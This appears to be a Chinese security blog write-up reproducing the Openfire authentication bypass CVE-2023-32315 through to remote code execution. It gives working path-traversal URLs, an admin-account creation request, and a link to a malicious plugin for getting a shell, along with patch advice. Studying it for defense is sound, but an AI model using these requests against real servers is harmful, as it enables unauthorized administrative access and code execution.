声明:该网站大部分文章来自作者日常学习笔记,文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任.

从Openfire存在身份认证绕过漏洞(CVE-2023-32315)到RCE

0x01 漏洞描述及影响

一个重要的安全问题影响了 Openfire 的一系列版本,Openfire 是基于 XMPP 协议的跨平台实时协作服务器,由 Ignite Realtime 社区创建.Openfire 的管理控制台(Admin Console)是一个基于 Web 的应用程序,被发现容易受到通过设置环境进行的路径遍历攻击.这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境,以访问为管理用户保留的 Openfire 管理控制台中的受限页面.

0x02 受影响的版本

1
2
3
4
5
6
受影响的版本 (>= 3.10.0, < 4.6.8 >= 4.7.0, < 4.7.5)

3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4

补丁版本
4.6.8、4.7.5、4.8.0

0x03 漏洞复现

1、判断是否存在日志泄露
1
https://IP地址:端口/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

640 (1).png)

2、获取cookie 创建用户
1
/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp 

640 (2).png)

1
2
3
/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=XXXX&username=admin666&name=admin666&email=admin%40example.com&password=admin666&passwordConfirm=admin666&isadmin=on&create=Creat+User

Cookie: JSESSIONID=XXXXXXX; csrf=XXXXX

640 (3).png)

3、访问登录
1
https://XXXX/user-properties.jsp?username=用户名

640 (4).png)

4、上传插件get shell

640 (5).png)

插件下载地址:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1

密码:123

640 (6).png)

640 (7).png)

0x04 修复建议

当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本.链接如下:

https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm

参考:

https://github.com/advisories/GHSA-gw42-f939-fhvm

http://cn-sec.com/archives/1805316.html